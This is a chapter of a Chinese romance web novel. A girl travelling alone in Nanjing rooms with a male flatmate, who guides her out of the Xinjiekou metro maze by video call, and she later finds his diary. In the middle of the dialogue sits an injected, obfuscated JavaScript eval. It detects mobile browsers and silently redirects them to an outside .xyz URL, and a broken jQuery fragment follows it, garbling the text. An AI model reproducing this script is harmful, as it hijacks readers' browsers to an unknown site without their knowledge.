高考也有后遗症。失眠了一晚,楚晞次日一觉醒来才六点半,受条件反射影响,她懵懵地开了喜马拉雅听英语听力。
换好衣服,她才如梦初醒,考完了还用听什么?九磅十五便士已经不再是衬衫的价格。
开了窗,她抻了抻腰,捧着下巴把手肘搭在窗台下,沐浴了会儿新鲜阳光。
洗漱的时候,楚晞才真真切切地有了跟人合租的实感。台面置物架上,男生的私人物品齐整整地放着,看样子他可能还有些许洁癖。
于是她小心翼翼地捻起自己梳头时掉落的长发,仔细地清理干净。
楚晞边刷牙边和闺密夏江南小声语音。昨晚的惊险历程自然是要详细说上一番,其次是要嘱咐再嘱咐。
“说真的,要是你有超过半个小时没联系上我,就得立马帮我求救了。”
夏江南:“谁叫你一个人去旅游,现在知道危险了吧?”
“请你反思一下自己。”楚晞吐了口泡沫,含糊不清地哼了一声,“谁让你考完得意忘形,摔到骨折住院,直接破坏了我们俩计划了很久的毕业旅行?”
夏江南,最终没能成功下江南。
可悲,可叹。
“别提了。”她问,“你那边靠谱不?合租室友呢?”
“好像还没醒。”
“不是说是帅哥?多帅?”
“帅有什么用啊,人贩子里还有帅哥呢?要是存了心想害人,长得帅才可怕呢——”
“咚咚”两声,洗浴间的门被敲响,楚晞僵硬地扭头,一句带着倦意和不耐烦的话被扔了进来:“你还要多久?”
背后讲小话被人逮着了,尴尬。
一秒,两秒,三秒……
她飞快擦了把脸,然后迅速地拉开磨砂玻璃门。
楚晞尽量装得若无其事,但眼睛一抬,人还是懵了。
那哥们显然还没睡醒,头顶两捋毛往四面八方随便支棱,怪就怪在这里了,这么糟糕的发型他这张脸竟然驾驭得游刃有余,可能是因为棱角清晰,而且白。
此时他懒懒散散地靠在门框边抱着臂等,身上那件黑T明明是很保守的款,却因为领口歪了的缘故,无端露了点锁骨。
“……”她就说吧!人帅才可怕。
楚晞将眼睛往旁边瞥去,讪讪地说:“……我好了,你用吧。”
她捏着手机,空出只手捂脸飞速地往外逃。
还没逃到卧室,就听到大门被人用力地重重捶了几下。楚晞犹疑地瞧了眼身后,思忖两秒后,还是去玄关开门了。
门外立着一个寸头男生,两手拎着满满当当的东西,热气腾腾的,还散发出香味,应当是早饭。他嘴里叼着块锅贴,一抬眼见到她,错愕到咬过的锅贴“啪叽”掉在地上,看样子,好像还是牛肉馅的。
一大早,满街梧桐树上的蝉就开始疯叫了。这会儿只能指望它们打破这凝滞住的氛围。
“嗨,你好。”男生退了两步仔仔细细看清了门牌号,又怔怔走回来,咧牙尬笑了下,脸色精彩纷呈地说,“我找江岁羽。”
也正是这时,他嘴里的人趿拉着拖鞋走出来,揉了把头发,耷拉着目光问:“你来干什么?”
“给你送早餐!”
“……”
寸头眼睛一斜问:“妹子,一起吃吗?有很多。”
“……不用了,谢谢。”
楚晞降低存在感,默默溜回了房间,心里不断嚎叫着,什么跟什么啊,他那个表情一看就想得很歪!
外面也在嚎。
老破小,没办法,隔音效果很差,说什么话一下子就能听得格外清晰。
如今回想起来,江岁羽不会是被她打电话的声音吵醒的吧?
“我靠。”李炎眼珠子都快瞪出来,魂不守舍地喊,“你什么情况?不对啊,明明都洁身自好这么多年了。”
冰箱门开了又合上,江岁羽从里面拿了瓶水,冰雾化开染了指尖,灌了口凉水,终于是清醒了点:“她?房东干的好事儿。你不是买了下午的火车票?”
“昂。所以这不是走之前来找您打发打发时间么?还有,听我说谢谢您,感谢有您……”李炎转瞬就被他的话带着走了。
“停,下午我要睡觉。等车实在无聊的话,麻烦出南京站,到对面的玄武湖呆着混时间。不要骚扰良民。”
“……”李炎嬉嬉笑笑地,“别啊,你真不一起去?景点我都看好了,要预约的免费的学生票半价的,都记脑子里嘞。我跟你讲,有的可难约了。”
“我高反——”
话还没说完,突然被一声闷叫打断。
“啊——”
两个男生不明所以地朝声源望过去,只见楚晞背着双肩包,一把拧开了门,抓狂地把扎好的马尾胡乱地揉炸毛掉,眼神生无可恋,打着电话像是在吐血:“又没约上……”
-
不就是没约上纪念馆吗?
没事儿,时间还长。
每天8点都到公众号抢,迟早能行。
还好计划第一天要去的总统府预约没满。
出门就有一个顶好的视角。不远处正是江苏第一高楼——紫峰大厦。外立面是玻璃幕墙,阳光一照,明晃晃地闪亮着。大厦的尖顶迎着光延伸,看着像是要与天际线肩并肩。
新旧交融在这座城市身上体现得淋漓尽致。
抬头是时代,低头是市井。
她没来由想到这句话。
……
南京总统府是民国建筑的主要代表之一,也是中国近代建筑遗存中规模最大、保存最完整的建筑群[1]。历史可追溯到六百多年前,1912年孙中山先生就是在这里宣誓就任中华民国临时大总统。
一进去,牌匾上“天下为公”四个大字率先映入眼帘,是孙先生手书。屋内红柱有合抱粗,雕梁画栋,大堂四周的墙壁上镶嵌着各时期的风云人物。
在历史书上都鼎鼎有名。
楚晞脱了防晒服,以手作扇给自己整点儿风——“哐当”一声,一不留神,她差点被绊倒,这门槛怎么这么高啊呜呜呜,刺客!
难怪1930年英国大使在礼堂递交国书时,会摔了个狗啃泥。
八字厅、麒麟门、子超楼……顺着人流走,既有婉约的传统江南园林,也有棱角凌厉的西式建筑。
门票钱花得太值了,囫囵吞枣逛了三个小时,带的矿泉水都喝完了,还没逛完,楚晞怀疑自己今天的微信步数截至目前至少得有两万。
出了总统府,便是以民国建筑风闻名的1912街区。午餐在这儿尝试了南京大牌档,她一个人没敢多点,谨慎地要了攻略里强推的菜。
感觉最对胃的还是美龄粥!
淡淡的奶香,甜而不腻。
休整一会儿,楚晞感觉自己快要变扁平足……好累。本想着今天就到此为止,但又发觉从这儿乘2号线,一站就可以到新街口,想想还是得去。
新街口,位于南京的中心区域,被誉为“中华第一商圈”,高楼林立,鳞次栉比。
但她最最想见的,倒不是繁华的CBD,而是位于中心一百平的那尊铜像。
不跟团旅游就是有这个好处。人是自由的,计划是随时可以改变的,想去哪儿停留多久都是自己做主的。
但是吧。
坏处也是肉眼可见的。
……
[迷路,算可以找你解决的问题吗?]
微信弹出来时,江岁羽正靠在沙发上百无聊赖地摁着遥控器。
自从上初中后,他好像就忘了有电视机这号产品。如今“旧友相逢”,他却发现对方已是面目全非。现在电视都联网,看个电影综艺要一对一挨个充会员,他的状态,有点类似那个流传的表情包,“地铁老人看手机”。
眼下他瞧到楚晞的消息,皱了皱眉发了个“?”过去。
昨天加上好友、互通姓名后,聊天界面就是一片空白了。原以为这种相安无事的情况会持续到退租,没成想第二天就开始出人意料。
江岁羽:[迷路找导航。]
楚晞:[试过了,导航在地下没法使,像死了一样。]
江岁羽又一个“?”过去了。
[你在哪儿?]
楚晞:[新街口地铁站。]
哦,那倒也正常。
占地7.6万平方米,共有24个出站口,四通八达,每个都得走很久很久。且每个出站口又有好几个分叉,就像一个巨大的地下迷宫。本地人都不敢说自己了如指掌。
大到什么程度呢?几百个商家在里面开店。奶茶店小吃店那都是弟弟,婚纱店都混在里面。
江岁羽眼皮跳了跳,坐起来两秒,想到什么又歪了回去。
[建议拉个路人问。]
楚晞握着手机把这段无情的文字看了三遍,忍不住深吸一口气,然后手指急速地在屏幕上敲敲敲。
[你以为我没问吗?]
[我问了五个人!五个!]
[其中两个是一无所知的游客]
[又有两个是有点知但又不完全知的大学生]
[他们一指,错上加错]
[最后一个奶奶是南京人]
[但我听不懂南京话……]
隔了一会儿。
江岁羽:[所以呢?]
言下之意,我跟你很熟吗?
楚晞没辙了,闭嘴沉默了会儿。
她也不想麻烦只认识两天的人。但是她已经在这个迷宫里绕了快一个小时了,再不拯救自己的双腿,明天就得在床上瘫一天。
好累。好想回去躺着。
实在没办法,她可怜兮兮地说:[你是我在南京唯一的人脉。]
江岁羽:[这下子不怕被我这人贩子害了?]
“……”楚晞被砸蒙了。敢情早上她和朋友的对话,全都被他听了去?天道好轮回,现在回旋镖扎中自己,忽然觉着好痛。
[不打扰了。]
[我再去尝试寻觅一下警察叔叔。]
刚撂下这一句,微信电话就弹了出来。
楚晞手忙脚乱找到耳机戴上点接通,瓮声瓮气地“喂”。
“摄像头转过去扫一圈,我看你在哪儿。”
他声音低低的,但不拖泥带水。
楚晞站得太过迅速,导致眼前一黑,差点栽下去,手机摄像头自然也跟着天旋地转。
“怎么?”
“我蹲太久了,麻了……”
“……”
江岁羽能想象到那个画面。人来人往之中,这姑娘可怜巴巴地找角落缩成一团蹲着,她到底得有多累?
“你去哪儿?”
“去新街口的正中心。”
“完全反方向。”他指挥,“转个身,沿直线往前走,先回到大圆盘。”
大圆盘?
这个说法很形象。刚楚晞就是从那儿过来的,现在又要走回去?
她无可奈何地“啊”了一声,想死之心溢于言表。
“你去看铜像?”
“你怎么知道?”楚晞腾一下,有点讶异。
“正中心只有那个。”
“哦。”她问,“去看那个很奇怪吗?”
“比起去德基看造价两千万的豪华厕所,你这个确实称不上奇怪。”
啊……要不是实在没力气,本来她也准备顺便去瞧瞧全国闻名的厕所呢……虽然“专门去打卡厕所”这事儿,的确听起来不太正常。
大圆盘到了。
这里好像是南京人碰头的重要场所,五步一朋友会面,十步一情侣约见。
“找到8号口,跟着标牌出去。”江岁羽准备功成身退,“我挂了。”
“哎哎哎哎别!”
“又怎么?”
“还是等我到了再挂吧,如果又一次迷路,再打给你我会不好意思的。”
那你现在就很好意思了?
“你就当听个响儿。”她说。
说是这么说,但江岁羽才发现这姑娘其实是个话痨,第一面瞧起来蛮高冷蛮有戒心的样子,但其实适应力很快,也挺单纯的。她一路上碎碎念就没停过。
“24个出口你都很熟吗?”
“嗯。”
“那我考考你。”
江岁羽:“……”倒反天罡。
“‘我滴乖乖’是什么意思?刚问路我只听懂了这句。还以为她在说我是她心肝宝贝呢,给我吓一跳。”
江岁羽:“……”
“你知道吗?”
江岁羽:“没什么,语气词。”
“那‘来斯’是什么?我看地铁里的扶手上全贴着这个。”
江岁羽头疼。
楚晞:“‘斯’在古文里有‘这’的意思,‘来斯’是指要‘来这’?我猜对了吗?”
江岁羽面无表情:“不,是在说你笨。”
楚晞:“……”
“江岁羽,你来斯啊来斯。”她现学现用。
“谢谢。”他还挺有礼貌。
“?”
“其实是夸人的意思。”
楚晞气笑了:“你不说是骂人的吗?”
江岁羽:“我说你就信?”
楚晞问:“那夸的是什么?”
江岁羽脱口而出:“牛逼。”
楚晞懵了会儿,气鼓鼓地笃定道:“你骂我。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15717580|173788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
江岁羽:“……”
真告诉你了,你又不信。
隔了一小会儿,楚晞又按耐不住地开口了。
“还有一个问题哦,为什么满街的梧桐树都是三四股分叉的,我在其他地方没见过这样的,有什么特别的寓意吗?”
江岁羽顿了一下,嘴唇张开又闭上,随即又张开:“防止外星人入侵,做成巨大弹弓的样式,来一个弹走一个。”
这家伙真是……
楚晞服了。
在一番对牛弹琴的交谈中,终于找到了出口的扶梯。
站上上行扶梯,她低头看了眼屏幕。他没挂断,应该是把手机随意地置在腿上,有一搭没一搭地回她。视频接通时,他没翻转自己那边的摄像头,于是他的侧脸此刻清晰地出现在镜头里。
楚晞有点好奇,怎么会有人下颌线那么清晰,左右脸那么对称。
出于本能,她一直盯着视频通话里的人看。
“你干什么?”
手机拿近,他整张脸贴上来,冲击力不外让人吓一跳。
原来是扶梯已经到了尽头,她却没有任何反应。他从她的后置摄像里看到了。
就在她手忙脚乱时,倏地“咔嚓”一声,不知道怎么的,突然触发了截屏功能。
自动保存到了相册里。
“没什么。”楚晞撇过视线,“谢谢你。”
从地铁站出来,就看见无数建筑拔起,天空是蓝调时刻,高楼蔽日,霓虹亮灯,人显得如此渺小。
但比起繁华和纸醉金迷,她倒更愿意用内敛舒适来形容。
寸土寸金的市中心果然空出了一百平米,那是个十字路口,有个小花坛。而花坛之上是11.12米高的雕像,这个数字代表着中山先生的诞辰。
西装大衣,马甲领带,右手执手杖。
雕像矗立在十字路口的正中央,而各类车辆有条不紊、井然有序地围着它的四周绕行。
它悲悯又慈爱地,注视着这座繁荣的城市和熙攘的人民。
天空之下,大地之上。不论晨昏,不问晴雨。
好奇怪……
越是人声鼎沸,却越觉得热泪盈眶。
仅仅只是看着而已。
大概是文科生刻在骨子里的矫情因子在作祟吧。但楚晞也无比感谢这份矫情,让她在现实世界还葆有一份理想主义。
她低声感叹说:“最贵的一百平米,留给了国父。”
回应她的,是傍晚沉闷的夏风、数道汽车的鸣笛声,以及那个消失很久却又忽地冒出的声音。
“错了。”江岁羽手指轻敲了两下,垂着眸子说,“他在这儿,这儿才是市中心。”
楚晞有一瞬间是恍然的。
还没措辞出口,就见他撂下一句话挂断了。
“回来坐公交,100路20分钟直达门口。”
语气又冷又淡。
“……”
她总觉得他言下之意是,这你还迷路的话,那就没救了。
-
楚晞洗完澡,趴在床上给朋友打电话,两只腿翘起在空气中甩来甩去。
“我跟你说,他可难搞了!回来的时候,亏我还带了黄记玉米汁和张记灌饼报答他!那个可好吃了!”
又想起这屋子隔音很差劲,她心虚地放低声音补充道:“结果他就那么冷淡地点了点头。然后,没了!就没了??”
“嗯?有什么不对的吗?挺客气的呀。不是,你搞他做什么?”夏江南憋笑,“早上不还把人家比作是人贩子,担心人家要害你?现在不跟你套近乎,不是正中你下怀。”
楚晞在床上滚了几下,觉得不得劲,趿拉拖鞋下去。
她的房间小得可怜。一张单人床,一个窄窄的床头柜,一只朴素的小桌子、一把小椅子……再也没有其他的空间了。
“话是这么说啦……”
她讲电话必须要三心二意干点其他事儿。躺下的时候是要无厘头地揪床单,现在坐在椅子上,她左右瞧瞧,好像也只有一旁墙角那堆破得没边儿的杂书堆值得做些文章。
“可我突然觉得他好像不是个坏人。”她说。
“哟,这么快就改变主意了?果然,长得帅确实可怕。恕我直言,出门在外一定要有防备之心,你就知道他一个名字,能看出来什么?这都是敌人为了让你放松戒心使出的手段——”
“嘶……”
“你‘嘶’什么,咋了?”
楚晞抖了抖从那堆书里抽出来卷子上的灰尘,一脸震惊地左看右看,遂喃喃陈述:“南京数学卷子……没有选择题?!”
夏江南:“?”
“怎么忽然讲到数学?”她是个数学渣渣,听到这个名词就头痛。
“我刚坐这儿,见旁边有一堆破书,有五三、必刷题、恩波38套这些……像是没人要了,落了八丈厚的灰,就随手从里面抽了一张空卷子看看。”
应该是江岁羽的。这间房之前没人住,他也许是当杂物室来用,不要的东西全堆这儿了。
“仔细翻翻,真没有哎,不会高考卷子也没有选择吧?那他们也太可怜了,蒙都没法儿蒙。”
嘴上这么说,但楚晞的语气明显有点幸灾乐祸。
知道世界上有人比自己过得更苦,心里真的会没来由地变得平衡。
“我真服了你了,现在提什么高考啊?”她被气笑了。
“好吧好吧,言归正传,刚我们说到哪儿了?”楚晞手闲不下来,再一次从书堆里抽了本什么出来,没太当真地随便翻翻。
“说他坏!”朋友没太好气地说。
……
“喂?喂喂??人呢?楚楚?”
好一会儿。
“江南,”楚晞出声,轻轻地说,“我大概,也许,好像,不小心翻到了他的日记。”
“你好坏哦。”
“那我要把眼睛挖了吗?心碎。”
“还是留着吧。”
“但是,我现在有一点点确定了……”
“什么……?”
==
「12.31晴
被朋友拉到新街口跨年。
很巧,站在中山先生的铜像之下。
南京的上空再也没有飞机和大炮,再也不是枪林弹雨。
这万人齐放、漫天纷飞的五彩气球,如夜星般,闪耀满城。人群熙熙攘攘,欢声笑语不绝于耳。
有一瞬间,我竟真的希望存在平行时空,当两个世界交错,
这是您所期盼看到的,百年之后的中国吗?」
==
“感觉他是半夜写东西能把自己写掉眼泪的那种人,能是什么坏人?”